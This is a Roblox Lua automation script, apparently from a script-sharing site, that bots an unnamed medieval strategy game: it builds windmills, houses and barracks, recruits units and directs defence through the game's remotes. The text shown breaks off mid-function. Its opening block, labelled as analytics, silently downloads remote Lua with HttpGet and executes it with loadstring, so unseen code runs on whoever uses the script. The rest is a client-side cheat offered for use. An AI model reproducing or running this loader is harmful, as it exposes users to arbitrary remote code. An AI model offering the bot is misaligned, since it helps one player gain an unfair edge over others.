-- [[ Rscripts Risk Notice ]] -- This script is not verified by rscripts.net. Deal with caution. -- -- Stay safe: -- • Never log in on unofficial Roblox sites or lookalike domains. -- • Real Roblox links use roblox.com (check the .com ending). -- • Treat fake Roblox login / "claim reward" pages as phishing. -- [[ End Rscripts Risk Notice ]] --[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6ad03eecea7508fe1628d1a7"))() end) end) --[[rscripts:analytics:end]] local Players = game:GetService("Players") local RS = game:GetService("ReplicatedStorage") local RunService = game:GetService("RunService") local player = Players.LocalPlayer local mine = workspace.Game.PlayerFolder[player.Name] local units = mine.Units local buildings = mine.Buildings local supplies = workspace.Game.Map.Map.Supplies local stats = mine.Stats local Spawn = RS:WaitForChild("Spawn") local Move = RS:WaitForChild("SendUnitGoals") local Place = RS:WaitForChild("PlacementEvent") local Cash = RS:WaitForChild("GetInfoCash") local Info = require(RS.Utilities.ObjectStats) local CFG = { Builders = 3, FarmWorkers = 3, OpeningWindmills = 3, HouseFreeSpaceBuffer = 12, HomeRadiusMin = 30, HomeRadiusMax = 85, FarmFoundationWait = 7, FarmPositionRetries = 9, StuckTravelSeconds = 50, FarmTravelTimeout = 240, ConstructionTimeout = 240, AppearTimeout = 28, FarmRetry = 90, HomeRetry = 4, FarmFundsReserve = 0, ArmyFundsReserve = 60, MinimumThreatMargin = 18, CastleDangerRadius = 95, TowerDangerRadius = 68, RallyBackoff = 25, DefenseRadius = 95, ForwardDefenseRadius = 60, EngagementDistance = 48, OrderCooldown = 15, HousesLimit = 20, HousePlacementAttempts = 96, HomeStationLimit = 7, HomeProbeWait = 2.0, HomeProbeRadius = 6.0, HomeTravelTimeout = 21, HomeImmediateRadius = 92, CastleHomeRadius = 84, GroundHeightTolerance = 2.5, FirstHouses = 3, FirstHouseAtPopulation = 25, HouseBarracksRadius = 52, AutoAttackPopulation = 88, HutsLimit = 9, UpdateSeconds = 5, } local active = true local reservedFarms = {} local farmRetryAt = {} local farmerTasks = {} local farmStatus = {} local farmBusy = {} local homeWorker = nil local homeRequested = false local pendingHome = {} local homeQueue = {} local homeBusy = false local homeCooldown = {} local performHomeJob local pendingRecruit = {Builder = 0, Knight = 0, Crossbower = 0} local recentCounts = {} local recentQueueTime = os.clock() local lastRequest = 0 local localPlacementStep = 0 local defenderOrders = {} local defenderHealth = {} local routedOrders = {} local errors = {} local assaultMode = false local manualDefense = false local nextDefenseRecall = 0 local defenderReturnOrders = {} local assaultTarget = nil local assaultOrdered = {} local lastAssaultSweep = 0 local autoAttackTriggered = false local previous = player.PlayerGui:FindFirstChild("MedievalAutoCommander") if previous then previous:Destroy() end local gui = Instance.new("ScreenGui") gui.Name = "MedievalAutoCommander" gui.ResetOnSpawn = false gui.Parent = player.PlayerGui local panel = Instance.new("Frame") panel.Name = "CommanderPanel" panel.Size = UDim2.new(0, 340, 0, 210) panel.Position = UDim2.new(0.03, 0, 0.10, 0) panel.BackgroundColor3 = Color3.fromRGB(22, 27, 37) panel.BorderSizePixel = 0 panel.ClipsDescendants = true panel.Parent = gui local corner = Instance.new("UICorner") corner.CornerRadius = UDim.new(0, 12) corner.Parent = panel local border = Instance.new("UIStroke") border.Color = Color3.fromRGB(65, 76, 96) border.Thickness = 1 border.Transparency = 0.2 border.Parent = panel local header = Instance.new("Frame") header.Name = "Header" header.Size = UDim2.new(1, 0, 0, 43) header.BackgroundColor3 = Color3.fromRGB(32, 42, 57) header.BorderSizePixel = 0 header.Parent = panel local headerCorner = Instance.new("UICorner") headerCorner.CornerRadius = UDim.new(0, 12) headerCorner.Parent = header local brand = Instance.new("TextLabel") brand.Size = UDim2.new(1, -110, 0, 23) brand.Position = UDim2.new(0, 12, 0, 5) brand.BackgroundTransparency = 1 brand.Text = "MEDIEVAL COMMANDER" brand.TextColor3 = Color3.fromRGB(235, 240, 250) brand.TextSize = 16 brand.Font = Enum.Font.GothamBold brand.TextXAlignment = Enum.TextXAlignment.Left brand.Parent = header local subtitle = Instance.new("TextLabel") subtitle.Size = UDim2.new(1, -110, 0, 14) subtitle.Position = UDim2.new(0, 12, 0, 26) subtitle.BackgroundTransparency = 1 subtitle.Text = "V9 / AUTO DEFENSE" subtitle.TextColor3 = Color3.fromRGB(130, 195, 175) subtitle.TextSize = 10 subtitle.Font = Enum.Font.GothamMedium subtitle.TextXAlignment = Enum.TextXAlignment.Left subtitle.Parent = header local minimize = Instance.new("TextButton") minimize.Name = "Minimize" minimize.Size = UDim2.new(0, 37, 0, 31) minimize.Position = UDim2.new(1, -44, 0, 6) minimize.BackgroundColor3 = Color3.fromRGB(58, 69, 88) minimize.TextColor3 = Color3.new(1, 1, 1) minimize.TextSize = 24 minimize.Font = Enum.Font.GothamBold minimize.Text = "−" minimize.Parent = header local minCorner = Instance.new("UICorner") minCorner.CornerRadius = UDim.new(0, 7) minCorner.Parent = minimize local content = Instance.new("Frame") content.Name = "Content" content.Position = UDim2.new(0, 0, 0, 43) content.Size = UDim2.new(1, 0, 1, -43) content.BackgroundTransparency = 1 content.Parent = panel local title = Instance.new("TextLabel") title.Name = "CommanderStatus" title.Position = UDim2.new(0, 12, 0, 8) title.Size = UDim2.new(1, -24, 0, 29) title.BackgroundTransparency = 1 title.TextColor3 = Color3.fromRGB(244, 247, 252) title.TextSize = 13 title.Font = Enum.Font.GothamSemibold title.TextWrapped = true title.TextXAlignment = Enum.TextXAlignment.Left title.Text = "DEFENSIVE COMMANDER V9" title.Parent = content local detail = Instance.new("TextLabel") detail.Name = "EmpireStats" detail.Position = UDim2.new(0, 12, 0, 39) detail.Size = UDim2.new(1, -24, 0, 35) detail.BackgroundColor3 = Color3.fromRGB(32, 41, 55) detail.TextColor3 = Color3.fromRGB(159, 231, 202) detail.TextSize = 11 detail.Font = Enum.Font.GothamMedium detail.TextWrapped = true detail.TextXAlignment = Enum.TextXAlignment.Center detail.Text = "Starting..." detail.Parent = content local statsCorner = Instance.new("UICorner") statsCorner.CornerRadius = UDim.new(0, 6) statsCorner.Parent = detail local workersLabel = Instance.new("TextLabel") workersLabel.Name = "WorkerTasks" workersLabel.Position = UDim2.new(0, 12, 0, 78) workersLabel.Size = UDim2.new(1, -24, 0, 29) workersLabel.BackgroundTransparency = 1 workersLabel.TextColor3 = Color3.fromRGB(238, 205, 137) workersLabel.TextSize = 11 workersLabel.Font = Enum.Font.Gotham workersLabel.TextWrapped = true workersLabel.TextXAlignment = Enum.TextXAlignment.Left workersLabel.Text = "BUILDER TASKS STARTING" workersLabel.Parent = content local function styleButton(button, color) button.BackgroundColor3 = color button.TextColor3 = Color3.fromRGB(255, 255, 255) button.TextSize = 12 button.Font = Enum.Font.GothamBold button.BorderSizePixel = 0 local radius = Instance.new("UICorner") radius.CornerRadius = UDim.new(0, 7) radius.Parent = button end local attackButton = Instance.new("TextButton") attackButton.Name = "AttackCastle" attackButton.Position = UDim2.new(0, 12, 0, 119) attackButton.Size = UDim2.new(0.42, -9, 0, 37) attackButton.Text = "ATTACK CASTLE" styleButton(attackButton, Color3.fromRGB(164, 85, 51)) attackButton.Parent = content local defendButton = Instance.new("TextButton") defendButton.Name = "Defend" defendButton.Position = UDim2.new(0.42, 7, 0, 119) defendButton.Size = UDim2.new(0.32, -7, 0, 37) defendButton.Text = "DEFEND" styleButton(defendButton, Color3.fromRGB(39, 133, 103)) defendButton.Parent = content local stop = Instance.new("TextButton") stop.Name = "Stop" stop.Position = UDim2.new(0.74, 4, 0, 119) stop.Size = UDim2.new(0.26, -16, 0, 37) stop.Text = "STOP" styleButton(stop, Color3.fromRGB(134, 49, 62)) stop.Parent = content local minimized = false minimize.MouseButton1Click:Connect(function() minimized = not minimized content.Visible = not minimized panel.Size = minimized and UDim2.new(0, 340, 0, 43) or UDim2.new(0, 340, 0, 210) minimize.Text = minimized and "+" or "−" end) local function status(message) if active and gui.Parent then title.Text = message end print("[DEFENSIVE V9]", message) end local function reportError(taskName, err) errors[taskName] = tostring(err) warn("[DEFENSIVE V9] " .. taskName, err) status(taskName .. " ERROR: " .. tostring(err)) end stop.MouseButton1Click:Connect(function() active = false title.Text = "COMMANDER STOPPED" detail.Text = "No further automated commands" end) gui.Destroying:Connect(function() active = false end) local function alive(obj) if not obj or not obj.Parent or obj:GetAttribute("Destroyed") == true then return false end local hp = obj:GetAttribute("Health") return type(hp) ~= "number" or hp > 0 end local function pos(obj) if not obj or not obj.Parent then return nil end local hit = obj:FindFirstChild("Hitbox", true) if hit and hit:IsA("BasePart") then return hit.Position end if obj:IsA("BasePart") then return obj.Position end if obj:IsA("Model") then return obj:GetPivot().Position end return nil end local function flatDistance(a, b) local x, z = a.X - b.X, a.Z - b.Z return math.sqrt(x * x + z * z) end local function primary(obj) if not obj then return nil end if obj:IsA("BasePart") then return obj end return obj.PrimaryPart or obj:FindFirstChild("Hitbox", true) or obj:FindFirstChildWhichIsA("BasePart", true) end local function cash() local ok, n = pcall(function() return Cash:Invoke() end) return ok and tonumber(n) or nil end local function cost(name) return Info[name] and tonumber(Info[name].Cost) or math.huge end local function space(name) return Info[name] and tonumber(Info[name].Space) or 0 end local function models(folder, name) local result = {} if not folder then return result end for _, obj in ipairs(folder:GetChildren()) do if obj:IsA("Model") and alive(obj) and (not name or obj.Name == name) then table.insert(result, obj) end end return result end local function built(obj) if not alive(obj) then return false end local value = obj:GetAttribute("Built") if type(value) == "boolean" then return value end local flag = obj:FindFirstChild("Built", true) if flag and flag:IsA("BoolValue") then return flag.Value end return nil end local function completedCount(name) local n = 0 for _, b in ipairs(models(buildings, name)) do if built(b) == true then n = n + 1 end end return n end local function findBuilding(name, requireBuilt) for _, b in ipairs(models(buildings, name)) do if not requireBuilt or built(b) == true then return b end end return nil end local castle = findBuilding("Castle") if not castle then status("CASTLE NOT FOUND"); return end local castlePart = primary(castle) local castleAt = pos(castle) if not castlePart or not castleAt then status("CASTLE POSITION MISSING"); return end local function builders() return models(units, "Builder") end local function friendlyWindmills() local owned = {} -- Ownership is established by parent folder, never by a farm's Occupied attribute. for _, mill in ipairs(models(buildings, "Windmill")) do if mill:IsDescendantOf(buildings) and built(mill) == true then table.insert(owned, mill) end end return owned end local function sendMovement(batch) if not active or #batch == 0 then return false end local ok, result = pcall(function() return Move:InvokeServer(batch, false, true) end) if not ok then warn("Move failed", result); return false end return result ~= false end local function moveOne(unit, destination) if not alive(unit) or not destination then return false end return sendMovement({{unit, destination}}) end local function arrive(worker, point, timeout, check, interrupt) local since = os.clock() local lastOrder = -math.huge local lastProgress = os.clock() local best = math.huge while active and alive(worker) and os.clock() - since < timeout do if check and not check() then return false end if interrupt and interrupt() then return false end local here = pos(worker) if here then local range = tonumber(worker:GetAttribute("Range")) or 8 local distance = flatDistance(here, point) if distance <= math.max(2.5, range - 1.5) then return true end if distance < best - 3 then best = distance lastProgress = os.clock() end if os.clock() - lastProgress > CFG.StuckTravelSeconds then return false end end if os.clock() - lastOrder >= 15 then moveOne(worker, point) lastOrder = os.clock() end task.wait(0.7) end return false end local ray = RaycastParams.new() ray.FilterType = Enum.RaycastFilterType.Exclude ray.FilterDescendantsInstances = {workspace.Game.PlayerFolder, supplies} ray.IgnoreWater = true local function groundPoint(point, buildingName) local templates = RS.Buildings:FindFirstChild("Default") local template = templates and templates:FindFirstChild(buildingName) if not template or not template:IsA("Model") then return nil end local root = primary(template) if not root then return nil end local hit = workspace:Raycast( Vector3.new(point.X, point.Y + 180, point.Z), Vector3.new(0, -450, 0), ray) if not hit then return nil end return Vector3.new(hit.Position.X, hit.Position.Y + root.Size.Y / 2 + 0.02, hit.Position.Z) end local function buildingNear(name, where, radius, except) local best, bestDist = nil, radius for _, b in ipairs(models(buildings, name)) do local at = pos(b) if at and (not except or not except[b]) then local dist = flatDistance(at, where) if dist < bestDist then best, bestDist = b, dist end end end return best end local function waitUntilBuilt(constructed, worker, label, initialCapacity) local started = os.clock() local lastReposition = 0 while active and alive(worker) and alive(constructed) and os.clock() - started < CFG.ConstructionTimeout do if built(constructed) == true then return true, constructed, "BUILT" end -- Some buildings may be marked complete by the capacity increase -- even if they have no replicated Built flag. if label == "House" and initialCapacity and stats.MaxUnits.Value > initialCapacity then return true, constructed, "POPULATION_CAP_INCREASED" end if label == "Builder Hut" and initialCapacity and stats.MaxBuildings.Value > initialCapacity then return true, constructed, "BUILDING_CAP_INCREASED" end -- If the worker is displaced during construction, return it to -- the unfinished foundation. Never switch to another farm midway. local workerAt = pos(worker) local buildingAt = pos(constructed) if workerAt and buildingAt then local range = tonumber(worker:GetAttribute("Range")) or 8 if flatDistance(workerAt, buildingAt) > math.max(3, range - 1) and os.clock() - lastReposition > 12 then moveOne(worker, buildingAt) lastReposition = os.clock() end end task.wait(1) end status(label .. " | FOUNDATION STILL INCOMPLETE") return false, constructed, "INCOMPLETE" end local function placeAndComplete(name, point, farm, worker, label, appearanceWait) if not active or not alive(worker) then return false, nil, "UNAVAILABLE" end if farm and (not farm.Parent or farm:GetAttribute("Occupied") ~= false) then return false, nil, "FARM_OCCUPIED" end local money = cash() if money and money < cost(name) then return false, nil, "FUNDS" end local before = {} for _, b in ipairs(models(buildings, name)) do before[b] = true end local initialCapacity = nil if name == "House" then initialCapacity = stats.MaxUnits.Value elseif name == "Builder Hut" then initialCapacity = stats.MaxBuildings.Value end local ok, err = pcall(function() Place:FireServer(name, point, 0, nil, farm) end) if not ok then warn("Placement error", err) return false, nil, "REQUEST_ERROR" end local constructed = nil local started = os.clock() local window = appearanceWait or CFG.AppearTimeout while active and os.clock() - started < window do -- A server-confirmed new model in *our* Buildings folder is -- necessary. Farm.Occupied alone never means we own it. constructed = buildingNear(name, point, farm and 14 or 36, before) if constructed then break end if farm and (not farm.Parent or farm:GetAttribute("Occupied") == true) then -- Give replication a brief grace period in case it is our model. task.wait(1) constructed = buildingNear(name, point, 14, before) if not constructed then return false, nil, "CONTESTED" end break end task.wait(0.5) end if not constructed then return false, nil, "NO_FOUNDATION" end status(label .. " | FOUNDATION OWNED, WAITING FOR BUILT") return waitUntilBuilt(constructed, worker, label, initialCapacity) end -- Try nearby points INSIDE the farm area if the default position is -- obstructed. Do not issue another request once our foundation appears. local farmOffsets = { Vector3.new(0, 0, 0), Vector3.new(3, 0, 0), Vector3.new(-3, 0, 0), Vector3.new(0, 0, 3), Vector3.new(0, 0, -3), Vector3.new(4, 0, 4), Vector3.new(-4, 0, 4), Vector3.new(4, 0, -4), Vector3.new(-4, 0, -4), } local function tryFarmPositions(worker, farm, center, label) for index = 1, math.min(#farmOffsets, CFG.FarmPositionRetries) do if not active or not alive(worker) or not farm.Parent or farm:GetAttribute("Occupied") ~= false then return false, "CONTESTED" end local wanted = center + farmOffsets[index] local point = groundPoint(wanted, "Windmill") if point and flatDistance(point, center) <= 7.5 then local here = pos(worker) local range = tonumber(worker:GetAttribute("Range")) or 8 if here and flatDistance(here, point) > math.max(2.5, range - 1.5) then if not arrive(worker, point, 42, function() return farm.Parent ~= nil and farm:GetAttribute("Occupied") == false end) then return false, "CANNOT_APPROACH" end end farmStatus[worker] = "FARM SITE " .. index .. "/" .. CFG.FarmPositionRetries local success, constructed, reason = placeAndComplete( "Windmill", point, farm, worker, label, CFG.FarmFoundationWait) if success then return true, "BUILT" end if constructed or reason == "INCOMPLETE" then -- Never abandon or duplicate a partially built Windmill. return false, "UNFINISHED_FOUNDATION" end if reason ~= "NO_FOUNDATION" then return false, reason end -- Rejected/obstructed placement; try a different nearby point. task.wait(0.7) end end return false, "ALL_POSITIONS_BLOCKED" end local function nearestFreeFarm(worker) local here = pos(worker) if not here then return nil end local options = {} for _, farm in ipairs(supplies:GetChildren()) do if farm:GetAttribute("Occupied") == false and not reservedFarms[farm] and (farmRetryAt[farm] or 0) <= os.clock() then local point = pos(farm) if point then table.insert(options, {farm = farm, point = point, dist = flatDistance(here, point)}) end end end table.sort(options, function(a, b) return a.dist < b.dist end) return options[1] end -- Each of the three workers runs independently. Home construction is -- one temporary job taken between farms, never a global halt. local function claimHomeJob(worker) if homeBusy or #homeQueue == 0 then return nil end local name = table.remove(homeQueue, 1) if not name then return nil end homeBusy = true homeWorker = worker return name end local function farmWorker(worker, index) while active and alive(worker) do local homeJob = claimHomeJob(worker) if homeJob then farmStatus[worker] = "HOME: " .. homeJob -- performHomeJob is assigned below after construction helpers. local ok, result = pcall(function() return performHomeJob(homeJob, worker) end) if not ok then reportError("HOME " .. homeJob, result) end pendingHome[homeJob] = nil homeCooldown[homeJob] = os.clock() + ((ok and result) and 2 or 15) homeBusy = false homeWorker = nil farmStatus[worker] = "HOME FINISHED" task.wait(0.5) else farmStatus[worker] = "FINDING FARM" local selection = nearestFreeFarm(worker) if not selection then farmStatus[worker] = "NO FREE FARMS" task.wait(3) else local money = cash() local buildingReserve = CFG.FarmFundsReserve for needed in pairs(pendingHome) do if needed == "House" or needed == "Builder Hut" or needed == "Barracks" then buildingReserve = math.max(buildingReserve, cost(needed)) end end if money and money < cost("Windmill") + buildingReserve then farmStatus[worker] = "SAVING MONEY FOR HOME BUILDING" task.wait(3) else local farm = selection.farm if not reservedFarms[farm] and farm:GetAttribute("Occupied") == false then reservedFarms[farm] = worker farmBusy[worker] = true farmStatus[worker] = "TRAVELING TO FARM" local function free() return farm.Parent ~= nil and farm:GetAttribute("Occupied") == false end local homeInterrupt = function() -- Only peel off one farmer during TRAVEL when -- an urgent home job is waiting. Never interrupt -- a started Windmill foundation. if #homeQueue == 0 or homeBusy then return false end -- A completed three-farm opening needs a Barracks -- immediately. Any traveling Builder may return; -- never abandon an in-progress Windmill. if pendingHome["Barracks"] then return true end if index == 3 then return true end -- At a full population cap, release a traveling -- worker rather than waiting for a distant farm. local freePop = stats.MaxUnits.Value - stats.CurrentUnits.Value return freePop <= 2 end local reached = arrive(worker, selection.point, CFG.FarmTravelTimeout, free, homeInterrupt) local success, reason = false, "NOT_REACHED" if not reached and homeInterrupt() then reason = "HOME_PRIORITY" end if reached and active and alive(worker) and free() then farmStatus[worker] = "TRYING WINDMILL SITES" success, reason = tryFarmPositions(worker, farm, selection.point, "FARMER " .. index) end if not success and reason ~= "HOME_PRIORITY" then farmRetryAt[farm] = os.clock() + CFG.FarmRetry end reservedFarms[farm] = nil farmBusy[worker] = nil farmStatus[worker] = success and "WINDMILL COMPLETE" or ("FARM SKIPPED: " .. tostring(reason)) task.wait(success and 0.5 or 1.5) else task.wait(0.5) end end end end end farmBusy[worker] = nil farmerTasks[worker] = nil if homeWorker == worker then homeWorker = nil; homeBusy = false end for farm, assigned in pairs(reservedFarms) do if assigned == worker then reservedFarms[farm] = nil end end end local function assignFarmers() local count = 0 for b in pairs(farmerTasks) do if alive(b) then count = count + 1 else farmerTasks[b] = nil end end for _, b in ipairs(builders()) do if count >= CFG.FarmWorkers then break end if not farmerTasks[b] then farmerTasks[b] = true count = count + 1 local index = count task.spawn(function() local ok, err = pcall(farmWorker, b, index) if not ok then reportError("FARMER " .. index, err) end farmerTasks[b] = nil end) end end end local function tryRecruit(name, building, reserve) if not active or not alive(building) then return false end if not Info[name] or os.clock() - lastRequest < 4.5 then return false end local funds = cash() if funds and funds < cost(name) + (reserve or 0) then return false end local reservedPop = 0 for n, amount in pairs(pendingRecruit) do reservedPop = reservedPop + amount * space(n) end if stats.CurrentUnits.Value + reservedPop + space(name) > stats.MaxUnits.Value then return false end local root = primary(building) if not root then return false end local ok, err = pcall(function() Spawn:FireServer(name, root) end) if not ok then warn("Recruitment error", err); return false end pendingRecruit[name] = pendingRecruit[name] + 1 recentQueueTime = os.clock() lastRequest = os.clock() return true end local function updateRecruitQueue() for name in pairs(pendingRecruit) do local current = #models(units, name) local previousCount = recentCounts[name] or current local added = math.max(0, current - previousCount) pendingRecruit[name] = math.max(0, pendingRecruit[name] - added) recentCounts[name] = current end if os.clock() - recentQueueTime > 105 then for name in pairs(pendingRecruit) do pendingRecruit[name] = 0 end recentQueueTime = os.clock() end end local function builderManager() while active do assignFarmers() -- First available Builder starts immediately. updateRecruitQueue() local count = #builders() if count + pendingRecruit.Builder < CFG.Builders then if tryRecruit("Builder", castle, 0) then status("RECRUITING BUILDER " .. (count + pendingRecruit.Builder) .. "/" .. CFG.Builders) end end task.wait(2) end end -- Barracks and houses are placed on flat ground near the home base. -- Start with available space around the BUILDER; only move if its -- immediate area fails, so one cliff corner cannot stall construction. local function homeSites(name, worker) local anchors = {} local here = pos(worker) local barracks = findBuilding("Barracks", false) local barracksAt = barracks and pos(barracks) local placingHouse = name == "House" and barracksAt ~= nil if placingHouse then -- For houses, build a compact neighborhood around the Barracks. -- Do not prefer a distant builder's current position. table.insert(anchors, {point = barracksAt, area = "BARRACKS", low = 13, high = 43}) if here and flatDistance(here, barracksAt) <= 25 then table.insert(anchors, {point = here, area = "BUILDER", low = 0, high = 12}) end if flatDistance(castleAt, barracksAt) < 48 then table.insert(anchors, {point = castleAt, area = "CASTLE", low = 17, high = 45}) end else if here and flatDistance(here, castleAt) <= CFG.HomeImmediateRadius then table.insert(anchors, {point = here, area = "BUILDER", low = 0, high = 9}) end if barracksAt then table.insert(anchors, {point = barracksAt, area = "BARRACKS", low = 13, high = 36}) end table.insert(anchors, {point = castleAt, area = "CASTLE", low = 16, high = 57}) for _, mill in ipairs(friendlyWindmills()) do local at = pos(mill) if at and flatDistance(at, castleAt) < 60 then table.insert(anchors, {point = at, area = "WINDMILL", low = 11, high = 23}) end end end local buildingPositions = {} for _, b in ipairs(models(buildings)) do local at = pos(b) if at then local size = Vector3.new(12, 8, 12) local ok, ext = pcall(function() return b:GetExtentsSize() end) if ok and ext then size = ext end table.insert(buildingPositions, { point = at, clearance = math.min(42, math.max(size.X, size.Z) * 0.45 + 3), }) end end local sites, seen = {}, {} for _, anchor in ipairs(anchors) do for r = anchor.low, anchor.high, 5 do for step = 0, 15 do local angle = step * math.pi / 8 + (r % 3) * 0.12 local at = anchor.point + Vector3.new( math.cos(angle) * r, 0, math.sin(angle) * r) local withinZone = placingHouse and flatDistance(at, barracksAt) <= CFG.HouseBarracksRadius or (not placingHouse and flatDistance(at, castleAt) <= CFG.CastleHomeRadius) if withinZone then local blocked = false for _, b in ipairs(buildingPositions) do if flatDistance(at, b.point) < b.clearance then blocked = true break end end if not blocked then local key = math.floor(at.X / 3) .. ':' .. math.floor(at.Z / 3) if not seen[key] then seen[key] = true table.insert(sites, { point = at, area = anchor.area, homeDist = flatDistance(at, castleAt), barracksDist = barracksAt and flatDistance(at, barracksAt) or 0, }) end end end end end end local priority = placingHouse and {BARRACKS = 1, BUILDER = 2, CASTLE = 3} or {BUILDER = 1, BARRACKS = 2, CASTLE = 3, WINDMILL = 4} table.sort(sites, function(a, b) local pa, pb = priority[a.area] or 10, priority[b.area] or 10 if pa ~= pb then return pa < pb end local da = here and flatDistance(here, a.point) or 999 local db = here and flatDistance(here, b.point) or 999 if placingHouse then return da * 0.45 + a.barracksDist * 0.55 < db * 0.45 + b.barracksDist * 0.55 end return da + a.homeDist * 0.08 < db + b.homeDist * 0.08 end) return sites end -- Include the builder's exact location plus short circles around it. local homeProbeOffsets = {Vector3.new(0, 0, 0)} for _, radius in ipairs({2.5, 4.5, 6.5, 8.5}) do for step = 0, 11 do local a = step * math.pi / 6 table.insert(homeProbeOffsets, Vector3.new( math.cos(a) * radius, 0, math.sin(a) * radius)) end end local function flatBuildGround(point, name) local candidate = groundPoint(point, name) if not candidate then return nil end local templateFolder = RS.Buildings:FindFirstChild("Default") local template = templateFolder and templateFolder:FindFirstChild(name) local width, depth = 12, 12 if template and template:IsA("Model") then local ok, ext = pcall(function() return template:GetExtentsSize() end) if ok and ext then width = ext.X depth = ext.Z end end -- A very basic approximation of Roblox's green/red placement preview. -- Reject cliff edges and tilted terrain before sending a placement. local spreadX = math.max(2.5, math.min(7, width * 0.26)) local spreadZ = math.max(2.5, math.min(7, depth * 0.26)) local coords = { Vector3.new(0,0,0), Vector3.new(spreadX,0,spreadZ), Vector3.new(-spreadX,0,spreadZ), Vector3.new(spreadX,0,-spreadZ), Vector3.new(-spreadX,0,-spreadZ), } local centerY = nil for _, offset in ipairs(coords) do local start = Vector3.new(candidate.X + offset.X, candidate.Y + 110, candidate.Z + offset.Z) local hit = workspace:Raycast(start, Vector3.new(0,-250,0), ray) if not hit or hit.Normal.Y < 0.88 then return nil end if not centerY then centerY = hit.Position.Y end if math.abs(hit.Position.Y - centerY) > CFG.GroundHeightTolerance then return nil end end return candidate end local function enqueueHome(name, priority) if pendingHome[name] or os.clock() < (homeCooldown[name] or 0) then return false end local money = cash() if money and money < cost(name) then if name == "House" then status("HOUSE NEEDED - WAITING FOR FUNDS") end return false end pendingHome[name] = true if priority then table.insert(homeQueue, 1, name) else table.insert(homeQueue, name) end status("QUEUED HOME BUILDING: " .. name) return true end performHomeJob = function(name, worker) local sites = homeSites(name, worker) local attempts, stations = 0, 0 local checked = {} local attemptedPoints = {} local barracksForHouse = name == "House" and findBuilding("Barracks", false) or nil local barracksHouseAt = barracksForHouse and pos(barracksForHouse) local function withinHomeZone(point) if name == "House" and barracksHouseAt then return flatDistance(point, barracksHouseAt) <= CFG.HouseBarracksRadius end return flatDistance(point, castleAt) <= CFG.CastleHomeRadius end local function probeAround(center, label) for _, offset in ipairs(homeProbeOffsets) do if not active or not alive(worker) or attempts >= CFG.HousePlacementAttempts then return false, "STOPPED" end local candidate = flatBuildGround(center + offset, name) local here = pos(worker) local range = tonumber(worker:GetAttribute("Range")) or 8 if candidate and here and flatDistance(here, candidate) <= math.max(3, range - 1.0) and withinHomeZone(candidate) then local key = math.floor(candidate.X * 2) .. ':' .. math.floor(candidate.Z * 2) if not attemptedPoints[key] then attemptedPoints[key] = true attempts = attempts + 1 farmStatus[worker] = "HOME " .. name .. " TRY " .. attempts status(name .. " | TRY " .. attempts .. " NEAR " .. label) local ok, foundation, reason = placeAndComplete( name, candidate, nil, worker, name, CFG.HomeProbeWait) if ok then return true, "BUILT" end if foundation or reason == "INCOMPLETE" then -- Don't place duplicates once the server accepted a foundation. return false, "FOUNDATION_UNFINISHED" end if reason == "FUNDS" or reason == "UNAVAILABLE" then return false, reason end task.wait(0.1) end end end return false, "NO_VALID_POSITION" end -- First probe all reachable spots around the Builder, while stationary. local here = pos(worker) if here and (name ~= "House" and flatDistance(here, castleAt) <= CFG.HomeImmediateRadius or name == "House" and barracksHouseAt and flatDistance(here, barracksHouseAt) <= 22) then status(name .. " | SCANNING AROUND BUILDER") local ok, reason = probeAround(here, "BUILDER") if ok then return true end if reason ~= "NO_VALID_POSITION" then return false end end -- If needed, move briefly to another flat site around the home base, -- not to distant cliffs or fields. Avoid long 72s waits per area. if #sites == 0 then status(name .. " | NO ALTERNATIVE HOME GROUND") return false end for i, site in ipairs(sites) do if not active or not alive(worker) or attempts >= CFG.HousePlacementAttempts or stations >= CFG.HomeStationLimit then break end if not checked[i] then checked[i] = true local goal = flatBuildGround(site.point, name) if goal then stations = stations + 1 farmStatus[worker] = "HOME " .. name .. " AREA " .. stations local current = pos(worker) local range = tonumber(worker:GetAttribute("Range")) or 8 local reached = current and flatDistance(current, goal) <= math.max(3, range - 1) if not reached then status(name .. " | NEARBY AREA " .. stations .. " (" .. site.area .. ")") reached = arrive(worker, goal, CFG.HomeTravelTimeout) end if reached then -- Use the builder's NEW position as the placement center. local arrivedAt = pos(worker) if arrivedAt then local ok, reason = probeAround(arrivedAt, site.area) if ok then return true end if reason ~= "NO_VALID_POSITION" then return false end end end end end end status(name .. " | " .. attempts .. " GROUND PROBES; RETRYING") return false end local function homeManager() while active do local mills = completedCount("Windmill") local usedPop = stats.CurrentUnits.Value local maxPop = stats.MaxUnits.Value local queuedPop = 0 for name, number in pairs(pendingRecruit) do queuedPop = queuedPop + number * space(name) end local freeSpace = maxPop - usedPop - queuedPop local houseCount = completedCount("House") local hasBarracks = findBuilding("Barracks", false) ~= nil local barracksReady = findBuilding("Barracks", true) ~= nil local unfinishedHouse = false local unfinishedHut = false for _, house in ipairs(models(buildings, "House")) do if built(house) ~= true then unfinishedHouse = true; break end end for _, hut in ipairs(models(buildings, "Builder Hut")) do if built(hut) ~= true then unfinishedHut = true; break end end -- Always prioritize the Barracks immediately after THREE completed -- Windmills (no wait for a fourth and no enemy-Barracks condition). if mills >= 3 and not hasBarracks then enqueueHome("Barracks", true) end local hutNeeded = stats.CurrentBuildings.Value >= stats.MaxBuildings.Value - 2 and #models(buildings, "Builder Hut") < CFG.HutsLimit if hutNeeded and not unfinishedHut then local barracksBlockedByCap = stats.CurrentBuildings.Value >= stats.MaxBuildings.Value enqueueHome("Builder Hut", barracksBlockedByCap) end -- Wait for the Barracks to produce troops before building houses. -- At ~25 current population, construct the first 3 houses in -- sequence; afterward expand whenever remaining room gets tight. -- Near-cap emergency expansion remains available even below 25. local housingUnlocked = usedPop >= CFG.FirstHouseAtPopulation local firstThreeNeeded = housingUnlocked and houseCount < CFG.FirstHouses local capPressure = freeSpace <= math.max(CFG.HouseFreeSpaceBuffer, math.ceil(maxPop * 0.15)) local houseNeeded = firstThreeNeeded or capPressure if houseNeeded and barracksReady and not pendingHome["Barracks"] and not unfinishedHouse and #models(buildings, "House") < CFG.HousesLimit then enqueueHome("House", false) end task.wait(2) end end local function enemies() local result = {} for _, folder in ipairs(workspace.Game.PlayerFolder:GetChildren()) do if folder.Name ~= player.Name then local other = Players:FindFirstChild(folder.Name) local sameTeam = other and player.Team ~= nil and player.Team == other.Team if not sameTeam then table.insert(result, folder) end end end return result end local function enemyCastleAt(reference) local nearest, best = nil, math.huge for _, enemy in ipairs(enemies()) do local theirBuildings = enemy:FindFirstChild("Buildings") local theirCastle = theirBuildings and 